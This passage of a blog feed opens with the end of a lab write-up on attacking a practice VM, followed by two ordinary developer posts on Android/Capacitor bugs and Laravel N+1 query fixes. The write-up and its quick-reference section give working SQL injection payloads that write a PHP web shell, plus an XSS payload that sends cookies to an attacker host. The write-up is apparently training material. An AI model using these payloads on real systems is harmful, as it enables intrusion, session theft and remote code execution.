&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;and&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="k"&gt;union&lt;/span&gt; &lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;file_priv&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;mysql&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;user&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="k"&gt;user&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'root'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output: &lt;code&gt;Y&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Game on.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  🧠 Lesson Learned
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;root@localhost&lt;/code&gt; in MySQL often has FILE privilege.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;file_priv = Y&lt;/code&gt; means you can read/write files on the server.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  📍 Phase 5: Finding Where To Write
&lt;/h2&gt;

&lt;p&gt;I tried writing a test file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;and&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="k"&gt;union&lt;/span&gt; &lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="n"&gt;OUTFILE&lt;/span&gt; &lt;span class="s1"&gt;'/var/www/css/test.txt'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Got the &lt;code&gt;non-object&lt;/code&gt; error again — but the file was still created.&lt;/p&gt;

&lt;p&gt;Visited:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://[VM_IP]/css/test.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Saw &lt;code&gt;1 2 3 4&lt;/code&gt; on the page.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Directory confirmed writable.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  🧠 Lesson Learned
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;INTO OUTFILE&lt;/code&gt; causes PHP errors but still writes the file.&lt;/li&gt;
&lt;li&gt;Always check if the file exists via browser.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/var/www/css/&lt;/code&gt; was the magic path in this lab.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  📍 Phase 6: Deploying The Web Shell
&lt;/h2&gt;

&lt;p&gt;Final payload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;union&lt;/span&gt; &lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;?php system($_GET["cmd"]); ?&amp;gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="n"&gt;OUTFILE&lt;/span&gt; &lt;span class="s1"&gt;'/var/www/css/shell.php'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;URL-encoded:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;union&lt;/span&gt; &lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="k"&gt;C&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="n"&gt;Fphp&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="k"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="n"&gt;_GET&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="n"&gt;D&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="n"&gt;F&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="n"&gt;E&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="n"&gt;OUTFILE&lt;/span&gt; &lt;span class="s1"&gt;'/var/www/css/shell.php'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then visited:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://[VM_IP]/css/shell.php?cmd=whoami
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The page returned:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1 2 www-data 4
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Remote code execution achieved.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  🧠 Lesson Learned
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Web shells are simple: &lt;code&gt;system($_GET["cmd"])&lt;/code&gt; is enough.&lt;/li&gt;
&lt;li&gt;URL-encode special characters in your SQL payloads.&lt;/li&gt;
&lt;li&gt;Test with &lt;code&gt;whoami&lt;/code&gt; or &lt;code&gt;id&lt;/code&gt; first.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  🏁 Epilogue: What I Learned
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Phase&lt;/th&gt;
&lt;th&gt;Key Takeaway&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;XSS&lt;/td&gt;
&lt;td&gt;Always run your listener before injecting. The bot doesn't wait.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Session Hijacking&lt;/td&gt;
&lt;td&gt;Stolen cookies = instant admin access.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SQL Injection&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;and 1=2&lt;/code&gt; is your best friend for UNION attacks.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;FILE Privilege&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;root@localhost&lt;/code&gt; often means file write access.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Web Shell&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/var/www/css/&lt;/code&gt; was writable — always check common web directories.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  📝 Quick Reference Commands
&lt;/h2&gt;

&lt;h3&gt;
  
  
  XSS Payload (stored in comment)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;x&lt;/span&gt; &lt;span class="na"&gt;onerror=&lt;/span&gt;&lt;span class="s"&gt;"fetch('http://YOUR_IP:80/?'+document.cookie)"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Listener
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-lnvp&lt;/span&gt; 80
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Check current user
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;and&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="k"&gt;union&lt;/span&gt; &lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="k"&gt;user&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Check FILE privilege
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;and&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="k"&gt;union&lt;/span&gt; &lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;file_priv&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;mysql&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;user&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="k"&gt;user&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'root'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Write test file
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;and&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="k"&gt;union&lt;/span&gt; &lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="n"&gt;OUTFILE&lt;/span&gt; &lt;span class="s1"&gt;'/var/www/css/test.txt'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Write web shell
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;union&lt;/span&gt; &lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;?php system($_GET["cmd"]); ?&amp;gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="n"&gt;OUTFILE&lt;/span&gt; &lt;span class="s1"&gt;'/var/www/css/shell.php'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Execute command
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://[VM_IP]/css/shell.php?cmd=whoami
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  🎯 Final Thoughts
&lt;/h2&gt;

&lt;p&gt;This lab taught me that hacking isn't about knowing all the answers.&lt;/p&gt;

&lt;p&gt;It's about:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Reading error messages carefully&lt;/li&gt;
&lt;li&gt;Being patient (the bot visits every minute, not every second)&lt;/li&gt;
&lt;li&gt;Trying things even when I'm not sure&lt;/li&gt;
&lt;li&gt;Not quitting when I get &lt;code&gt;non-object&lt;/code&gt; errors for the 10th time&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you're stuck on this lab — keep going. The breakthrough is one payload away.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Now go break something else.&lt;/strong&gt; 🔥&lt;/p&gt;




</description>
      <category>cybersecurity</category>
      <category>infosec</category>
      <category>security</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Debugging Android Backdrop Persistence: A Capacitor Story</title>
      <dc:creator>ekko1500</dc:creator>
      <pubDate>Mon, 30 Mar 2026 16:39:01 +0000</pubDate>
      <link>https://dev.to/ekko1500/debugging-android-backdrop-persistence-a-capacitor-story-10o5</link>
      <guid>https://dev.to/ekko1500/debugging-android-backdrop-persistence-a-capacitor-story-10o5</guid>
      <description>&lt;p&gt;Porting a complex React app like Scratch-GUI to mobile using Capacitor can surface bugs that don't appear on desktop. Recently, we fixed a frustrating issue: backdrop edits (drawings and erasures) weren't saving in &lt;code&gt;.sb3&lt;/code&gt; files on Android.&lt;/p&gt;

&lt;p&gt;Here's what went wrong and how we fixed it.&lt;/p&gt;




&lt;h3&gt;
  
  
  1. The Main Problem: Edits Weren't Saving
&lt;/h3&gt;

&lt;p&gt;Two issues caused backdrop changes to disappear when saving.&lt;/p&gt;

&lt;h4&gt;
  
  
  A. Storage Configuration Typo
&lt;/h4&gt;

&lt;p&gt;In &lt;code&gt;storage.js&lt;/code&gt;, we had a typo in the asset storage config. It was trying to use invalid "create" and "update" helpers, triggering failed network requests in the Capacitor environment.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Corrected the typo and simplified &lt;code&gt;addWebStore&lt;/code&gt; to only use the GET helper for local assets.&lt;/p&gt;

&lt;h4&gt;
  
  
  B. Save Button Didn't Commit Pending Edits
&lt;/h4&gt;

&lt;p&gt;The Paint Editor (from scratch-paint) normally saves changes when you click away from the canvas. On Android, clicking the "Save" button didn't trigger that "focus lost" event, so the latest drawing wasn't being saved.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Added a manual sync step before saving — calling &lt;code&gt;document.activeElement.blur()&lt;/code&gt; and waiting 100ms to ensure all edits were committed.&lt;/p&gt;




&lt;h3&gt;
  
  
  2. The reader.addEventListener Error
&lt;/h3&gt;

&lt;p&gt;We hit a strange error: &lt;code&gt;TypeError: reader.addEventListener is not a function&lt;/code&gt; — and it only appeared on Android.&lt;/p&gt;

&lt;p&gt;It turns out that in some environments, &lt;code&gt;FileReader&lt;/code&gt; doesn't fully support &lt;code&gt;addEventListener&lt;/code&gt;. It only has &lt;code&gt;onload&lt;/code&gt; and &lt;code&gt;onerror&lt;/code&gt; callbacks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Added a lightweight polyfill at app startup that adds &lt;code&gt;addEventListener&lt;/code&gt; support to &lt;code&gt;FileReader.prototype&lt;/code&gt;, mapping it to the existing handler properties.&lt;/p&gt;




&lt;h3&gt;
  
  
  3. Canvas Performance Warning
&lt;/h3&gt;

&lt;p&gt;Android's WebView kept showing this warning:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Canvas2D: Multiple readback operations using getImageData are faster with the willReadFrequently attribute set to true.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This happens when the canvas is read often — like in Scratch's "touching color" blocks and paint editor fill tools.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Updated all &lt;code&gt;getContext('2d')&lt;/code&gt; calls (in the loupe, video provider, and costume display) to include &lt;code&gt;{ willReadFrequently: true }&lt;/code&gt;. This tells the browser to optimize for frequent reads, making things much faster.&lt;/p&gt;




&lt;h3&gt;
  
  
  4. Touch Scrolling Felt Laggy
&lt;/h3&gt;

&lt;p&gt;Chrome and WebView warn when non-passive event listeners are used on scroll-blocking events like &lt;code&gt;touchstart&lt;/code&gt;. This can make scrolling feel sluggish.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Updated global touch handlers to use &lt;code&gt;{ passive: true }&lt;/code&gt;, letting the browser scroll immediately without waiting for JavaScript.&lt;/p&gt;




&lt;h3&gt;
  
  
  What We Learned
&lt;/h3&gt;

&lt;p&gt;Cross-platform development isn't just about writing code — it's about understanding the subtle differences in runtime environments. A standard browser API like &lt;code&gt;FileReader&lt;/code&gt; or Canvas2D can behave slightly differently in a WebView than in a desktop browser, and those differences can cause major issues in complex apps.&lt;/p&gt;

&lt;p&gt;Key takeaway: Make sure your "save" logic works reliably across all input types (touch, mouse, keyboard), and don't hesitate to polyfill environment gaps to keep your libraries happy.&lt;/p&gt;




</description>
      <category>android</category>
      <category>javascript</category>
      <category>mobile</category>
      <category>react</category>
    </item>
    <item>
      <title>How I Solved Slow Page Loading Using the N+1 Query Fix (React + Laravel)</title>
      <dc:creator>ekko1500</dc:creator>
      <pubDate>Mon, 30 Mar 2026 06:24:46 +0000</pubDate>
      <link>https://dev.to/ekko1500/how-i-solved-slow-page-loading-using-the-n1-query-fix-react-laravel-5g92</link>
      <guid>https://dev.to/ekko1500/how-i-solved-slow-page-loading-using-the-n1-query-fix-react-laravel-5g92</guid>
      <description>&lt;p&gt;When I first built my React + Laravel application, everything worked fine—until the data started growing.&lt;/p&gt;

&lt;p&gt;Pages that used to load instantly began taking seconds. Then even longer.&lt;/p&gt;

&lt;p&gt;At first, I thought it was a frontend issue. Maybe React was re-rendering too much. Maybe my components weren’t optimized.&lt;/p&gt;

&lt;p&gt;I was wrong.&lt;/p&gt;

&lt;p&gt;The real problem was happening in the backend—and it had a name: the &lt;strong&gt;N+1 query problem&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Problem I Didn’t See at First
&lt;/h2&gt;

&lt;p&gt;Let’s say I had something like this in my Laravel backend:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A list of students&lt;/li&gt;
&lt;li&gt;Each student has marks&lt;/li&gt;
&lt;li&gt;Each mark belongs to a subject&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Simple, right?&lt;/p&gt;

&lt;p&gt;But here’s what actually happened when I fetched data:&lt;/p&gt;

&lt;p&gt;1 query to get students&lt;br&gt;
Then &lt;strong&gt;N queries&lt;/strong&gt; to get each student's related data&lt;/p&gt;

&lt;p&gt;So if I had 100 students, I was running:&lt;br&gt;
👉 &lt;strong&gt;101 queries&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That’s the N+1 problem.&lt;/p&gt;

&lt;p&gt;And it destroyed performance.&lt;/p&gt;


&lt;h2&gt;
  
  
  How I Discovered It
&lt;/h2&gt;

&lt;p&gt;I started debugging the backend and noticed something strange:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The API response time was slow&lt;/li&gt;
&lt;li&gt;Database queries were increasing with data size&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So I used Laravel debugging tools and logs.&lt;/p&gt;

&lt;p&gt;That’s when I saw it clearly:&lt;br&gt;
👉 Queries were being executed inside loops&lt;/p&gt;

&lt;p&gt;That’s the moment it clicked.&lt;/p&gt;


&lt;h2&gt;
  
  
  The Fix: Eager Loading
&lt;/h2&gt;

&lt;p&gt;Laravel already has a solution for this: &lt;strong&gt;Eager Loading&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Instead of fetching related data one-by-one, I loaded everything in a single query.&lt;/p&gt;
&lt;h3&gt;
  
  
  Before (Bad)
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$students&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Student&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;all&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="k"&gt;foreach&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$students&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nv"&gt;$student&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$student&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;marks&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// triggers query every time&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  After (Good)
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$students&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Student&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;with&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'marks'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Now:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Only &lt;strong&gt;2 queries total&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;No matter how many students&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Massive improvement.&lt;/p&gt;


&lt;h2&gt;
  
  
  Going Deeper: Nested Relationships
&lt;/h2&gt;

&lt;p&gt;My case wasn’t that simple.&lt;/p&gt;

&lt;p&gt;I had deeper relationships like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;students → marks → subjects&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So I used nested eager loading:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$students&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Student&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;with&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'marks.subject'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now everything loads efficiently in minimal queries.&lt;/p&gt;




&lt;h2&gt;
  
  
  Optimizing the API Response
&lt;/h2&gt;

&lt;p&gt;Fixing queries wasn’t enough.&lt;/p&gt;

&lt;p&gt;I also improved how data was sent to React.&lt;/p&gt;

&lt;h3&gt;
  
  
  What I changed:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Removed unnecessary fields&lt;/li&gt;
&lt;li&gt;Used API Resources (Transformers)&lt;/li&gt;
&lt;li&gt;Sent only what the UI actually needs
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nc"&gt;StudentResource&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;collection&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$students&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This reduced payload size and improved speed.&lt;/p&gt;




&lt;h2&gt;
  
  
  React Side Optimization
&lt;/h2&gt;

&lt;p&gt;After fixing Laravel, I improved React too.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Avoid Unnecessary Re-renders
&lt;/h3&gt;

&lt;p&gt;I used:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;useMemo&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;useCallback&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Proper state structure&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2. Lazy Loading Components
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
